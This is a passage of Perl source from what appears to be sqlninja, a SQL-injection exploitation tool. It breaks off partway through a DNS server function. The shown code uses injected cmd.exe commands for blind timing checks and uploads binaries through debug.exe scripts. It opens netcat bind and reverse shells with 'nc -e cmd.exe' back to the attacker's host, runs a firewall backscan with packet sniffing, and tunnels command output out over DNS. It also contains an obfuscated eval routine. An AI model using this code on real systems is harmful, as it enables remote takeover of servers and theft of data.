lines... might take a bit\n"; 1993 1994 # We start by getting the lines (again...) 1995 my $cmd = "find /c /v \"zzzzz\" %TEMP%\\".$filename." > ". 1996 "%TEMP%\\lines.txt"; 1997 my $command=createcommand($cmd); 1998 my $result = sendrequest($command); 1999 2000 # Now we find the interval where that number is 2001 my $min = 0; 2002 my $max = 0; 2003 my $candidate = $lines; 2004 my $delay; 2005 while ($max == 0) { 2006 $delay=singlelinescheck($candidate); 2007 if ($delay > ($blindtime - 2)) { 2008 $max = $candidate; 2009 } else { 2010 $min = $candidate; 2011 $candidate = $candidate*2; 2012 } 2013 } 2014 2015 # Now we know that the number is between $min and $max 2016 if ($verbose == 1) { 2017 local $/=\1; 2018 local $|=1; 2019 print "Trying... "; 2020 } 2021 while ($max != $min) { 2022 $candidate = int(($max+$min)/2); 2023 if ($verbose == 1) { 2024 local $/=\1; 2025 local $|=1; 2026 print $candidate."... "; 2027 } 2028 $delay = singlelinescheck($candidate); 2029 if ($delay > ($blindtime-2)) { 2030 $max = $candidate; 2031 } else { 2032 $min = $candidate+1; 2033 } 2034 } 2035 if ($verbose == 1) { 2036 print "\n"; 2037 } 2038 print "[-] ".$max." lines were uploaded instead of ".$lines."\n"; 2039 $cmd = "del %TEMP%\\lines.txt"; 2040 my $command=createcommand($cmd); 2041 my $result = sendrequest($command); 2042} 2043 2044# Perform a single check on the number of lines 2045sub singlelinescheck 2046{ 2047 my $cmd = "for /F \"tokens=3\" %i in (%TEMP%\\lines.txt) do ". 2048 "(if %i LEQ ".$_[0]." ping -n ".$blindtime." 127.0.0.1)"; 2049 my $command = createcommand($cmd); 2050 my $delay = tryblind($command); 2051 return $delay; 2052} 2053 2054# Checks whether a file is present on the remote server 2055sub checkfile 2056{ 2057 my $file = $_[0]; 2058 my $cmd = "if exist $file (ping -n $blindtime 127.0.0.1)"; 2059 my $command = createcommand($cmd); 2060 my $delay = tryblind($command); 2061 if ($delay > ($blindtime - 2)) { 2062 return 1; 2063 } else { 2064 return 0; 2065 } 2066} 2067 2068sub checkremotesize 2069{ 2070 my $file = $_[0]; # file to check 2071 my $size = $_[1]; # expected size 2072 if ($_[1] > 0) { 2073 $size = add_separators($size); 2074 } 2075 # File size can be token 3 or 4 depending on cmd.exe version 2076 my $cmd = "dir \%TEMP\%\\".$file." | ". 2077 "find \"".$file."\" > \%TEMP\%\\xtst.txt & ". 2078 "for /F \"tokens=3\" \%i in (\%TEMP\%\\xtst.txt) do ". 2079 "(if \"\%i\" equ \"".$size."\" ping -n ".$blindtime." 127.0.0.1) & ". 2080 "for /F \"tokens=4\" \%i in (\%TEMP\%\\xtst.txt) do ". 2081 "(if \"\%i\" equ \"".$size."\" ping -n ".$blindtime." 127.0.0.1) & ". 2082 "del \%TEMP\%\\xtst.txt."; 2083 my $command = createcommand($cmd); 2084 my $delay = tryblind($command); 2085 if ($delay > ($blindtime-2)) { 2086 return 1; 2087 } else { 2088 return 0; 2089 } 2090} 2091 2092# Formats a string by adding a comma to separate each set of 3 digits 2093# Needed to check filesizes under Windows 2094# Old version of this function was 15 lines, and buggy. 2095# This one is 2 lines long, and correct. 2096# I suck, and KevinADC rocks :/ 2097sub add_separators 2098{ 2099 (my $num = shift) =~ s/\G(\d{1,3})(?=(?:\d\d\d)+(?:\.|$))/$1,/g; 2100 return $num; 2101} 2102 2103# Convert a binary file to its debug script representation 2104# File must not be larger than 0xFEFF (0xFFFF-0x100) bytes 2105sub makescr 2106{ 2107 my $file = $_[0]; # Binary input file 2108 my $output = $_[1]; # Script output file 2109 2110 # Here we create the new file, and we set its size in the cx register 2111 my $script = "n %TEMP%\\#temp#\nr cx\n"; 2112 my $filesize = -s $file; 2113 if ($filesize > 65535) { 2114 die "[-] file is too big for debug.exe\n"; 2115 } 2116 $filesize = sprintf("%x",$filesize); 2117 $script .= $filesize."\n"; 2118 2119 # We zero all the memory segment 2120 $script .= "f 0100 ffff 00\n"; 2121 2122 my $record; 2123 my @a; 2124 my $template = "C"; 2125 my $counter = 256; # Position where to write the bytes. 256 = 0x100 :) 2126 my $counter2 = 0; # Number of consecutive bytes in the current script line 2127 my $b; 2128 my $string = ""; 2129 open (FILE, "<".$file); 2130 # Jussi's algorithm here: we set bytes that are different from zero 2131 # Each script line sets up to 20 non-zero consecutive bytes 2132 while (read(FILE,$record,1)) { 2133 @a = unpack($template,$record); 2134 foreach (@a) { 2135 $b = sprintf("%02x",$_); # byte value in hex 2136 if ($_ ne "0") { 2137 $counter2++; 2138 if ($string eq "") { # Beginning of a new script line 2139 $string = "e ".sprintf("%x",$counter)." ".$b; 2140 } else { # We append to the current script line 2141 $string .= " ".$b; 2142 } 2143 } else { 2144 if ($string ne "") { 2145 $script .= $string."\n"; # end of current line 2146 $string = ""; 2147 $counter2 = 0; 2148 } 2149 } 2150 } 2151 $counter++; 2152 if ($counter2 == 20) { # reached 20 bytes in the current script line 2153 $script .= $string."\n"; 2154 $string = ""; 2155 $counter2 = 0; 2156 } 2157 } 2158 # All bytes read.... flush what's left in $string 2159 if ($string ne "") { 2160 $script .= $string."\n"; 2161 } 2162 $script .= "w\nq\n"; # Yay! Write the file and exit 2163 open (OUT, ">".$output) or die "Can't write to ".$output."\n"; 2164 print OUT $script; 2165 if ($verbose == 1) { 2166 print "[v] Debug script created successfully\n"; 2167 } 2168 close FILE; 2169 close OUT; 2170} 2171 2172# Direct tcp and udp shell 2173sub dirshell { 2174 if ($verbose == 1) { 2175 print " [v] Starting dirshell module\n"; 2176 } 2177 my $rport; 2178 my $rhost; 2179 my $proto; 2180 2181 print "Host to connect to [".$host."]: "; 2182 $rhost = <STDIN>; 2183 chomp ($rhost); 2184 if ($rhost eq "") { 2185 $rhost = $host; 2186 } 2187 $rport = 0; 2188 print "Remote port: "; 2189 $rport = <STDIN>; 2190 chomp($rport); 2191 # of course it must be a number 2192 while ($rport > 65535 or $rport < 1 or $rport !~ m/^\d+$/) { 2193 print "Port must be between 1 and 65535 (RFC 793, dude)\n"; 2194 print "Remote port: "; 2195 $rport = <STDIN>; 2196 chomp($rport); 2197 } 2198 while (($proto ne "tcp") and ($proto ne "udp")) { 2199 print "tcp/udp [default: tcp]: "; 2200 $proto = <STDIN>; 2201 chomp($proto); 2202 if ($proto eq "") { 2203 $proto = "tcp"; 2204 } 2205 } 2206 my $command; 2207 my $cmd; 2208 if ($proto eq "udp") { 2209 $cmd = "\%TEMP\%\\nc -u -l -e cmd.exe -p ".$rport; 2210 } else { 2211 $cmd = "\%TEMP\%\\nc -l -e cmd.exe -p ".$rport; 2212 } 2213 if ($churrasco == 1) { 2214 $cmd = usechurrasco($cmd); 2215 } 2216 $command = createcommand($cmd); 2217 # Launch the process for the web request 2218 print "[+] Sending the request to the web server....\n"; 2219 my $requestpid = fork(); 2220 if ($requestpid == -1) { 2221 print "Can't fork: $!\n"; 2222 exit(1); 2223 } 2224 # child: send the request and exit 2225 if ($requestpid == 0) { 2226 my $result = sendrequest($command); 2227 exit(0); 2228 } 2229 # father: wait and contact the shell daemom 2230 my $t = 3; 2231 print "[+] Waiting ".$t." seconds for the remote command ". 2232 "to execute... \n"; 2233 sleep($t); 2234 print "[+] Trying to contact the remote host... \n"; 2235 if ($proto eq "udp") { 2236 udpdirshell($rhost, $rport); 2237 } else { 2238 tcpdirshell($rhost, $rport); 2239 } 2240 kill ("TERM", $requestpid); 2241 exit(0); 2242} 2243 2244# tcp shell client 2245sub tcpdirshell 2246{ 2247 if ($verbose == 1) { 2248 print " [v] Creating client socket...\n"; 2249 } 2250 my $handle = IO::Socket::INET->new 2251 ( 2252 PeerAddr => $_[0], 2253 PeerPort => $_[1], 2254 Proto => 'tcp', 2255 Type => SOCK_STREAM 2256 ); 2257 if (! defined($handle)) { 2258 print "Could not create socket\n"; 2259 return (1); 2260 } 2261 local $/=\1; 2262 local $|=1; 2263 2264 my $kidpid; 2265 my $line; 2266 die "can't fork: $!" unless defined($kidpid = fork()); 2267 if ($kidpid == 0) { 2268 while (defined($line=<$handle>)) { 2269 print STDOUT $line; 2270 } 2271 kill("TERM", $kidpid); 2272 } else { 2273 while (defined($line = <STDIN>)) { 2274 print $handle $line; 2275 } 2276 } 2277 close $handle; 2278} 2279 2280# udp shell client 2281sub udpdirshell 2282{ 2283 if ($verbose == 1) { 2284 print " [v] Creating client socket...\n"; 2285 } 2286 my $handle = IO::Socket::INET->new 2287 ( 2288 PeerAddr => $_[0], 2289 PeerPort => $_[1], 2290 Proto => 'udp' 2291 ); 2292 if (!defined($handle)) { 2293 print "Could not create socket\n"; 2294 return (1); 2295 } 2296 local $/=\1; 2297 local $|=1; 2298 my $kidpid; 2299 my $char; 2300 my $command; 2301 print $handle "\n"; 2302 die "can't fork: $!" unless defined($kidpid = fork()); 2303 if ($kidpid == 0) { 2304 while (defined ($char = <$handle>)) { 2305 print $char; 2306 } 2307 } else { 2308 sleep 2; 2309 while (defined($char = <STDIN>)) { 2310 $handle->send($char); 2311 if ($char ne "\n") { 2312 $command = $command.$char; 2313 } else { 2314 if ($command eq "exit") { 2315 print "exiting... \n"; 2316 kill ("TERM",$kidpid); 2317 close $handle; 2318 return (0); 2319 } else { 2320 $command = ""; 2321 } 2322 } 2323 } 2324 } 2325} 2326 2327 2328# Reverse tcp and udp shell 2329sub revshell 2330{ 2331 if ($verbose == 1) { 2332 print " [v] Starting revshell module\n"; 2333 } 2334 my $lport; 2335 my $proto; 2336 2337 $lport = 0; 2338 print "Local port: "; 2339 $lport = <STDIN>; 2340 chomp($lport); 2341 # of course it must be a number 2342 while ($lport > 65535 or $lport < 1 or $lport !~ m/^\d+$/) { 2343 print "Port must be between 1 and 65535 (RFC 793, dude)\n"; 2344 print "Local port: "; 2345 $lport = <STDIN>; 2346 chomp($lport); 2347 } 2348 while (($proto ne "tcp") and ($proto ne "udp") and ($proto ne "\x72\x6F\x63\x6B")) { 2349 print "tcp/udp [default: tcp]: "; 2350 $proto = <STDIN>; 2351 chomp($proto); 2352 if ($proto eq "") { 2353 $proto = "tcp"; 2354 } 2355 } 2356 if ($proto eq "\x72\x6F\x63\x6B") { 2357 r(); 2358 exit(0); 2359 } 2360 my $command; 2361 my $cmd; 2362 if ($verbose == 1) { 2363 print " [v] Starting listener process\n"; 2364 } 2365 if ($proto eq "udp") { 2366 my $listenerpid = fork(); 2367 if ($listenerpid == 0) { 2368 udplistener($lport); 2369 exit(0); 2370 } 2371 $cmd = "\%TEMP\%\\nc -u -e cmd.exe ".$lhost." ".$lport; 2372 } else { 2373 my $listenerpid = fork(); 2374 if ($listenerpid) { 2375 tcplistener($lport); 2376 exit(0); 2377 } 2378 $cmd = "\%TEMP\%\\nc -e cmd.exe ".$lhost." ".$lport; 2379 } 2380 if ($churrasco == 1) { 2381 $cmd = usechurrasco($cmd); 2382 } 2383 $command = createcommand($cmd); 2384 my $result = sendrequest($command); 2385} 2386 2387# Undocumented but doesn't do anything nasty :) 2388sub r 2389{ 2390my $__=2359296;my $s="02).4~}\"{}7%,#/";my $s_=2**16;$s.="-%~4/~31,.).*!~2!\$) 2391/";$__/=$s_;$s.="~0,!9%2||";$__=sqrt($__);$_=+$__/($_+1)+0x40A4FE22;$_++;$s.=" 2392})";$__**=2;$s.="~(/0%~9/5~(!6%~-0,!9%2~).34!,,%\$~^^}{}\"";my $___="*"x$__;$s 2393.=";3934%-_\"-0,!9%2~(4";$s.="40[]]6%.53`3(!20Z342%!-`#/-]0,!.%42/#+~\\]\$%6]. 23945,,\"_";$_="";while($s=~/(.)/g){my $x=ord($1)+1-1;if(($x!=34)and($x<=89)and($x 2395!=59)){$_.=chr($x+64);}else{$_.=$1}}$_=~s/\^\^/:)/;$_=~s/\[/:/g;$_=~s/{/$___/g 2396;$_=~s/\[/:/g;$_=~s/_/\(/;$_=~s/\\/>/;$_=~s/\|/!/g;$_=~s/w/W/;$_=~s/_/\)/;$_=~ 2397s/\]/\//g;$_=~s/`/./g;$_=~s/}i/}I/;$_=~s/Z/-/;$_=~s/~/ /g;$_=~s/}/\n/g;eval$_; 2398} 2399 2400# Local server for tcp reverse shell 2401sub tcplistener 2402{ 2403 my $lport = $_[0]; 2404 if ($verbose == 1) { 2405 print " [v] Creating local listening tcp socket\n"; 2406 } 2407 my $server=IO::Socket::INET->new (Proto => 'tcp', 2408 LocalPort => $lport, 2409 Listen => 1, 2410 Reuse => 1) 2411 || die "can't create local socket on port ".$lport.": $!"; 2412 print "[+] waiting for shell on port ".$lport."/tcp...\n"; 2413 2414 my $client = $server->accept() 2415 || die "can't establish connection with peer: $!"; 2416 my $kidpid; 2417 die "can't fork: $!" unless defined($kidpid = fork()); 2418 my $char; 2419 2420 # this is needed to visualize the dos prompt even 2421 # if a newline is not present at its end 2422 local $/=\1; 2423 local $|=1; 2424 2425 # we receive the output here 2426 if ($kidpid != 0) { 2427 while (defined($char=<$client>)) { 2428 print $char; 2429 } 2430 kill ("TERM",$kidpid); 2431 } else { 2432 # and here we issue the commands 2433 while (defined ($char = <STDIN>)) { 2434 print $client $char; 2435 } 2436 } 2437 if ($verbose == 1) { 2438 print " [v] Closing listening socket\n"; 2439 } 2440 close $server; 2441 close $client; 2442} 2443 2444# Local server for udp reverse shell 2445sub udplistener 2446{ 2447 my $lport = $_[0]; 2448 if ($verbose == 1) { 2449 print " [v] Creating local listening udp socket\n"; 2450 } 2451 my $server=IO::Socket::INET->new (Proto => 'udp', 2452 LocalPort => $lport) 2453 || die "can't create local socket on port ".$lport.": $!"; 2454 print "[+] waiting for shell on port ".$lport."/udp...\n"; 2455 2456 my $kidpid; 2457 my $char; 2458 local $/=\1; 2459 local $|=1; 2460 my $i; 2461 my $command; 2462 $server->recv($char,256); 2463 print $char; 2464 my ($pp,$aa); 2465 ($pp,$aa) = sockaddr_in($server->peername); 2466 $kidpid = fork(); 2467 if ($kidpid == -1) { 2468 die "can't fork: $!"; 2469 } 2470 # child process........ 2471 if ($kidpid == 0) { 2472 while (defined ($char = <$server>)) { 2473 print $char; 2474 } 2475 } 2476 # parent process........ 2477 else { 2478 while (defined ($char = <STDIN>)) { 2479 $char =~ s/\n/\r\n/g; 2480 $server->send($char); 2481 if ($char ne "\n") { 2482 $command = $command.$char; 2483 } else { 2484 if ($command eq "exit") { 2485 print "exiting.... \n"; 2486 kill ("TERM",$kidpid); 2487 close $server; 2488 exit(0); 2489 } else { 2490 $command = ""; 2491 } 2492 } 2493 } 2494 } 2495} 2496 2497 2498# Performs a tcp/udp backscan trying to find a hole in the firewall 2499# Creates 3 subprocesses: the first sniffs the interface, the second 2500# performs the request to the web server. The parent then waits for their 2501# messages and when the second process exits it spawns the third, which 2502# waits for the timeout specified in the conf file and then signals 2503# the father, which finally kills the children and exits 2504sub backscan 2505{ 2506 if ($verbose == 1) { 2507 print " [v] Starting backscan module\n"; 2508 } 2509 my $snifferpid; # the sniffer 2510 my $requestpid; # the web requestor 2511 my $timeoutpid; # the timeout after the web request exits 2512 2513 # Get the ports to scan 2514 my $ports; 2515 print "Ports to try (es. \"80 443-445\"): "; 2516 $ports = <STDIN>; 2517 chomp($ports); 2518 while (checkports($ports) != 0) { 2519 print "You must specify ports with a netcat-like syntax\n"; 2520 print "Check sqlninja-howto.html for more info\n"; 2521 $ports = <STDIN>; 2522 chomp($ports); 2523 } 2524 # $ports =~ s/\s/+/g; 2525 2526 # Get the protocol to use 2527 my $proto; 2528 while (($proto ne "tcp") and ($proto ne "udp")) { 2529 print "tcp/udp [default: tcp]: "; 2530 $proto = <STDIN>; 2531 chomp($proto); 2532 if ($proto eq "") { 2533 $proto = "tcp"; 2534 } 2535 } 2536 2537 print ("[+] Starting ".$proto." backscan on host ".$host.".....\n"); 2538 2539 # start a socket to listen for messages from children 2540 my $ninjasock = genfile(); 2541 unlink $ninjasock; 2542 if ($verbose == 1) { 2543 print " [v] Starting local UNIX socket\n"; 2544 } 2545 my $server = new IO::Socket::UNIX->new(Local => $ninjasock, 2546 Type => SOCK_DGRAM, 2547 Listen => 5) 2548 || die "could not create UNIX socket\n"; 2549 my $msg; # message from children 2550 my $ok; # flag for successfully received packet 2551 my @okports; # allowed ports from server 2552 2553 if ($verbose == 1) { 2554 print " [v] Starting sniffer process\n"; 2555 } 2556 # spawn sniffer 2557 $snifferpid = fork(); 2558 if ($snifferpid == -1) { 2559 print "can't fork sniffer process !\n"; 2560 unlink $ninjasock; 2561 exit(1); 2562 } 2563 if ($snifferpid == 0) { 2564 $server->close; 2565 sniff($proto, $ninjasock); 2566 exit (0); 2567 } 2568 if ($verbose == 1) { 2569 print " [v] Starting web request process\n"; 2570 } 2571 # spawn the process for the web request 2572 $requestpid = fork(); 2573 if ($requestpid == -1) { 2574 print "can't fork web request process !\n"; 2575 kill TERM => $snifferpid; 2576 unlink $ninjasock; 2577 exit(1); 2578 } 2579 if ($requestpid == 0) { 2580 $server->close; 2581 backscanrequest($lhost,$ports,$proto,$ninjasock); 2582 exit(0); 2583 } 2584 2585 # receive port numbers from the sniffer until the 2586 # web requestor communicates it is done 2587 if ($verbose == 1) { 2588 print " [v] Recording successful ports\n"; 2589 } 2590 recordports($server,$ok,\@okports,"finished"); 2591 2592 # spawn the timeout child, to wait for some more packets to 2593 # arrive 2594 if ($verbose == 1) { 2595 print " [v] Web request finished... waiting for last packets\n"; 2596 } 2597 $timeoutpid = fork(); 2598 if ($timeoutpid == -1) { 2599 print "can't fork timeout child !\n"; 2600 kill TERM => $snifferpid; 2601 unlink $ninjasock; 2602 exit(1); 2603 } 2604 if ($timeoutpid == 0) { 2605 sleep($timeout); 2606 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 2607 Type => SOCK_DGRAM, 2608 Timeout => 10); 2609 $s->send("timeout"); 2610 close $s; 2611 exit(0); 2612 } 2613 2614 # receive port numbers from the sniffer until timeout 2615 recordports($server,$ok,\@okports,"timeout"); 2616 2617 print "[+] shutting down sniffer...\n"; 2618 kill TERM => $snifferpid; 2619 2620 unlink $ninjasock; 2621 2622 if ($ok == 1) { 2623 print "Now launch the Ninja in revshell mode and have fun!\n"; 2624 } else { 2625 print "Sorry... no packets received\n"; 2626 } 2627} 2628 2629# Records the successful ports until interrupted by the other child 2630# Parameters: 2631# $_[0] = parent socket 2632# $_[1] = $ok 2633# $_[2] = \@okports 2634# $_[3] = exit string awaited from child 2635sub recordports 2636{ 2637 my $msg; 2638 while ($msg ne $_[3]) { 2639 $_[0]->recv($msg,16,0); 2640 if (($msg < 65535) and ($msg > 0)) { 2641 $_[1] = 1; 2642 if (${$_[2]}[$msg] == 0) { 2643 printf "port ".$msg." ok !\n"; 2644 ${$_[2]}[$msg] = 1; 2645 } 2646 } 2647 } 2648} 2649 2650sub backscanrequest 2651{ 2652 my $lhost = $_[0]; 2653 my $ports = $_[1]; 2654 my $proto = $_[2]; 2655 my $ninjasock = $_[3]; 2656 my $cmd; 2657 my $command; 2658 my $result; 2659 if ($proto eq "udp") { 2660 # we need to issue a command (e.g.: hostname.exe) for an 2661 # UDP packet to be created... 2662 $cmd = "\%TEMP\%\\nc -e hostname -u ".$lhost." ".$ports; 2663 } else { 2664 $cmd = "\%TEMP\%\\nc ".$lhost." ".$ports; 2665 } 2666 $command = createcommand($cmd); 2667 $result = sendrequest($command); 2668 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 2669 Type => SOCK_DGRAM, 2670 Timeout => 10); 2671 $s->send("finished"); 2672 close $s; 2673} 2674 2675# Anti script kiddies ;) 2676sub _ 2677{ 2678if ($0 !~ m/.*\/\x73\x71\x6c\x6e\x69\x6e\x6a\x61$/i) { 2679 print"\x0a\x64\x75\x64\x65\x2c\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x6e". 2680 "\x61\x6d\x65\x20\x4d\x55\x53\x54\x20\x62\x65\x20\x22\x73\x71\x6c\x6e". 2681 "\x69\x6e\x6a\x61\x22\x2e\x20\x55\x73\x65\x20\x74\x68\x65\x20\x70\x72". 2682 "\x6f\x70\x65\x72\x20\x6e\x61\x6d\x65\x20\x61\x6e\x64\x20\x74\x72\x79". 2683 "\x20\x61\x67\x61\x69\x6e\x0a\x0a";exit(0); 2684 } 2685} 2686 2687# sniff the interface for backscan results 2688sub sniff 2689{ 2690 my $filter; 2691 my $proto = $_[0]; 2692 my $ninjasock = $_[1]; 2693 # TODO: filter host must be changed: NAT could mess up things 2694 my $size = 1500; 2695 my $tout = 3; 2696 my $err; 2697 if ($verbose == 1) { 2698 print " [v] Looking for sniffing device info\n"; 2699 } 2700 my ($address,$netmask); 2701 if (Net::Pcap::lookupnet($dev,\$address,\$netmask,\$err)) { 2702 die "Unable to look up device information for".$dev."\n"; 2703 } 2704 if ($verbose == 1) { 2705 print " [v] Initializing pcap object\n"; 2706 } 2707 my $pcap = Net::Pcap::open_live($dev,$size,0,0,\$err); 2708 unless (defined $pcap) { 2709 die "Unable to create packet capture on ".$dev."\n". 2710 "...are you sure you have r00t privileges ?"; 2711 } 2712 # Create filter string from conf file and protocol 2713 my $filterstring; 2714 if ($proto eq "udp") { 2715 $filterstring = $filterconf." and udp"; 2716 } else { 2717 $filterstring = $filterconf." and tcp[tcpflags] & ". 2718 "tcp-syn != 0 && ". 2719 "tcp[tcpflags] & tcp-ack == 0"; 2720 } 2721 if ($verbose == 1) { 2722 print " [v] Compiling packet capture filter: ".$filterstring."\n"; 2723 } 2724 Net::Pcap::compile( 2725 $pcap, 2726 \$filter, 2727 $filterstring, 2728 0, 2729 $netmask 2730 ) && die 'Unable to compile packet capture filter'; 2731 Net::Pcap::setfilter($pcap, $filter) && 2732 die 'Unable to set packet capture filter'; 2733 2734 my $offset = linkoffset($pcap); 2735 my $globref = [$offset,$ninjasock]; 2736 if ($verbose == 1) { 2737 print " [v] Stripping ".$offset." bytes for datalink header\n"; 2738 } 2739 if ($proto eq "udp") { 2740 Net::Pcap::loop($pcap,-1,\&dmpudp,$globref); 2741 } else { 2742 Net::Pcap::loop($pcap,-1,\&dmptcp,$globref); 2743 } 2744} 2745 2746# callback function for analyzing incoming tcp packets 2747sub dmptcp 2748{ 2749 my ($globref,$header,$packet) = @_; 2750 my ($offset,$ninjasock) = @{$globref}; 2751 my $ip_packet = substr($packet,$offset); 2752 my $ip = NetPacket::IP->decode($ip_packet); 2753 my $tcp = NetPacket::TCP->decode($ip->{'data'}); 2754 my $port = $tcp->{'dest_port'}; 2755 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 2756 Type => SOCK_DGRAM, 2757 Timeout => 10); 2758 $s->send($port); 2759 close $s; 2760} 2761 2762# callback function for analyzing incoming udp packets 2763sub dmpudp 2764{ 2765 my ($globref,$header,$packet) = @_; 2766 my ($offset,$ninjasock) = @{$globref}; 2767 my $ip_packet = substr($packet,$offset); 2768 my $ip = NetPacket::IP->decode($ip_packet); 2769 my $udp = NetPacket::UDP->decode($ip->{'data'}); 2770 my $port = $udp->{'dest_port'}; 2771 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 2772 Type => SOCK_DGRAM, 2773 Timeout => 10); 2774 $s->send($port); 2775 close $s; 2776} 2777 2778# Checks that ports indicated for backscan module respect the netcat syntax 2779# Return 0 if correct. 1 Otherwise 2780sub checkports() 2781{ 2782 my $ports = $_[0]; 2783 my @portarray; 2784 my $p; 2785 # Check that only digits, hyphens and whitespaces are entered 2786 if ($ports !~ m/^[\d\-\s]+$/) { 2787 return 1; 2788 } 2789 @portarray = split(/ /,$ports); 2790 foreach $p (@portarray) { 2791 # Single port ? 2792 if ($p =~ m/^(\d+)$/) { 2793 if (($1 > 0) and ($1 < 65536)) { 2794 next; 2795 } else { 2796 return 1; 2797 } 2798 } 2799 # Port range ? 2800 elsif ($p =~ m/^(\d+)-(\d+)$/) { 2801 if (($1 > 0) and ($2 < 65536) and ($1 <= $2)) { 2802 next; 2803 } else { 2804 return 1; 2805 } 2806 } 2807 # None of the above... wrong 2808 return 1; 2809 2810 } 2811 return 0; 2812} 2813 2814# Generate a random filename to use for UNIX sockets 2815# A fixed filename causes problems when a spurious file was left 2816# from a previous execution that exited uncleanly and the file can't 2817# be unlink()-ed by the current user 2818sub genfile 2819{ 2820 my $rnd = int(rand()*65535); 2821 my $filename = "/tmp/.ninjasocket_".$rnd; 2822 return $filename; 2823} 2824 2825 2826# Attempt to tunnelize command output in DNS queries 2827# URL-encode the command, then call dnssend() 2828# dnstunnel.exe must have been uploaded first 2829sub dnstunnel 2830{ 2831 print "[+] Starting dnstunnel mode...\n"; 2832 if ($verbose == 1) { 2833 print " [v] Be sure you uploaded dnstunnel.exe already\n"; 2834 } 2835 print "[+] Use \"exit\" to be dropped back to your shell.\n"; 2836 my $cmd; 2837 while (1) { 2838 print "dnstunnel> "; 2839 $cmd = <STDIN>; 2840 chomp($cmd); 2841 if ($cmd eq "exit") { 2842 print "Thank you for using sqlninja... see ya\n"; 2843 exit(0); 2844 } 2845 if ($cmd ne "") { 2846 dnssend($cmd); 2847 } 2848 } 2849} 2850 2851# Sends the command to dnstunnel.exe and waits for the results 2852sub dnssend 2853{ 2854 my $cmd = $_[0]; 2855 my $requestpid; # pid of the web request 2856 my $decoderpid; # pid of the message decoder 2857 my $dnspid; # pid of the fake DNS server 2858 my $timeoutpid; # pid of the timeout process 2859 unlink $dnssock; 2860 2861 # Create the server socket that will receive messages from children 2862 my $ninjasock; 2863 $ninjasock=genfile(); 2864 unlink $ninjasock; 2865 if ($verbose == 1) { 2866 print " [v] Starting local UNIX socket\n"; 2867 } 2868 my $server = new IO::Socket::UNIX->new(Local => $ninjasock, 2869 Type => SOCK_DGRAM, 2870 Listen=> 5) 2871 || die "can't create UNIX socket: $!\n"; 2872 my $msg; # message to the UNIX socket 2873 2874 # spawn fake dns server 2875 if ($verbose == 1) { 2876 print " [v] Starting dns server process\n"; 2877 } 2878 $dnspid = fork(); 2879 if ($dnspid == -1) { 2880 print "can't fork dns server process\n"; 2881 close $server; 2882 unlink $ninjasock; 2883 exit(1); 2884 } 2885 if ($dnspid == 0) { 2886 $server->close; 2887 dnsserver(); 2888 exit(0); 2889 } 2890 # spawn decoder process 2891 if ($verbose == 1) { 2892 print " [v] Starting decoder process\n"; 2893 } 2894 $decoderpid = fork(); 2895 if ($decoderpid == -1) { 2896 print "can't fork decoder process\n"; 2897 close $server; 2898 unlink $ninjasock; 2899 unlink $dnssock; 2900 exit(1); 2901 } 2902 if ($decoderpid == 0) { 2903 $server->close; 2904 decodedns($ninjasock); 2905 exit(0); 2906 } 2907 # spawn the process for the web request 2908 if ($verbose == 1) { 2909 print " [v] Starting web request process\n"; 2910 } 2911 $requestpid = fork(); 2912 if ($requestpid == -1) { 2913 print "can't fork web request process\n"; 2914 close $server; 2915 unlink $ninjasock; 2916 unlink $dnssock; 2917 exit(1); 2918 } 2919 if ($requestpid == 0) { 2920 $server->close; 2921 dnstunnelrequest($cmd); 2922 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 2923 Type => SOCK_DGRAM, 2924 Timeout => 10); 2925 $s->send("webdone"); 2926 close $s; 2927 exit(0); 2928 } 2929 2930 # Now wait for news.... 2931 $server->recv($msg,16,0); 2932 2933 # case 1: the decoder receives the full message and 2934 # visualizes it. We kill the children and that's it 2935 if ($msg eq "decoded") { 2936 kill TERM => $requestpid; 2937 kill TERM => $dnspid; 2938 kill TERM => $decoderpid; 2939 close $server; 2940 unlink $ninjasock; 2941 unlink $dnssock; 2942 return; 2943 } 2944 2945 # case 2: the web request returns but the decoder hasn't 2946 # finished receiving the messages yet 2947 # Since there is no other case, if we don't receive 2948 # "webdone" something is wrong 2949 if ($msg ne "webdone") { 2950 kill TERM => $dnspid; 2951 kill TERM => $decoderpid; 2952 close $server; 2953 unlink $ninjasock; 2954 unlink $dnssock; 2955 print "Unexpected message: ".$msg.".... must be a bug\n"; 2956 exit(1); 2957 } 2958 2959 # spawn the timeout child, to wait for some more packets 2960 # to arrive 2961 if ($verbose == 1) { 2962 print " [v] Web request finished... waiting for last packets\n"; 2963 } 2964 $timeoutpid = fork(); 2965 if ($timeoutpid == -1) { 2966 print "can't fork timeout child !\n"; 2967 kill TERM => $dnspid; 2968 kill TERM => $decoderpid; 2969 close $server; 2970 unlink $ninjasock; 2971 unlink $dnssock; 2972 exit(1); 2973 } 2974 if ($timeoutpid == 0) { 2975 $server->close; 2976 sleep(6); 2977 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 2978 Type => SOCK_DGRAM, 2979 Timeout => 10); 2980 $s->send("timeout"); 2981 close $s; 2982 exit(0); 2983 } 2984 2985 # Wait for more news 2986 $server->recv($msg,16,0); 2987 2988 # case 1 again... 2989 if ($msg eq "decoded") { 2990 kill TERM => $timeoutpid; 2991 kill TERM => $dnspid; 2992 kill TERM => $decoderpid; 2993 close $server; 2994 unlink $ninjasock; 2995 unlink $dnssock; 2996 return; 2997 } 2998 2999 # case 2 again... 3000 if ($msg ne "timeout") { 3001 kill TERM => $dnspid; 3002 kill TERM => $decoderpid; 3003 close $server; 3004 unlink $ninjasock; 3005 unlink $dnssock; 3006 print "Unexpected message.... must be a bug\n"; 3007 exit(1); 3008 } 3009 3010 print "Some DNS packets seem to got lost.... try again\n"; 3011 3012 kill TERM => $dnspid; 3013 kill TERM => $decoderpid; 3014 close $server; 3015 unlink $ninjasock; 3016 unlink $dnssock; 3017 return; 3018} 3019 3020sub dnstunnelrequest 3021{ 3022 my $cmd = "\%TEMP\%\\dnstun.exe ".$domain." ".$hostnamelen." ".$_[0]; 3023 if ($churrasco == 1) { 3024 $cmd = usechurrasco($cmd); 3025 } 3026 my $command = createcommand($cmd); 3027 my $result = sendrequest($command); 3028} 3029 3030# Sniff dns requests and processes them 3031sub dnsserver 3032{ 3033 my $ns = Net::DNS::Nameserver->new( 3034 LocalAddr => "0.0.0.0", 3035 LocalPort => 53, 